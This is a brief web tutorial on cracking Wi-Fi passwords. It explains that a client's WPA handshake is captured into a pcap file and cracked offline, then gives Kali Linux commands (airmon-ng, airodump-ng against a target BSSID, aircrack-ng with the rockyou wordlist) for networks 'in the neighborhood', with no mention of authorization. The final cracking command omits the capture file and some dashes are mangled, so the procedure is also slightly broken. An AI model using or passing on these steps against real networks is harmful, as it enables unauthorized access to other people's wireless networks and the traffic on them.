In order to get the password of a Wireless Access Point (WAP), the handshake information between a client (pc, laptop, iphone, or an android phone), and the WAP must first be sniffed and saved into a packet capture (pcap) file. This pcap file is then fed to a password cracking tool like aircrack-ng or submitted to a cloud cracking service.
Whatever your motivations for studying wifi password hacking, be advised that cracking a password with an ordinary home computer may take a few seconds to a million years, depending on the strength of the password being cracked. See https://password.kaspersky.com/, for a test on how long it takes to crack different passwords.
The procedure for cracking using Kali Linux:
# airmon-ng start wlan0 – place the wireless adapter in promiscous or monitor mode
# airodump-ng wlan0mon – display the wireless networks available in the neighborhood
COPY THE BSSID AND CHANNEL NUMBER OF A TARGET WIRELESS POINT
# airodump-ng -c 1 –bssid 04:1A:30:bd:ac:0f -w /root/Desktop wlan0mon
# aircrack-ng -b 04:1A:30:bd:ac:0f -w /usr/share/wordlist/rockyou.txt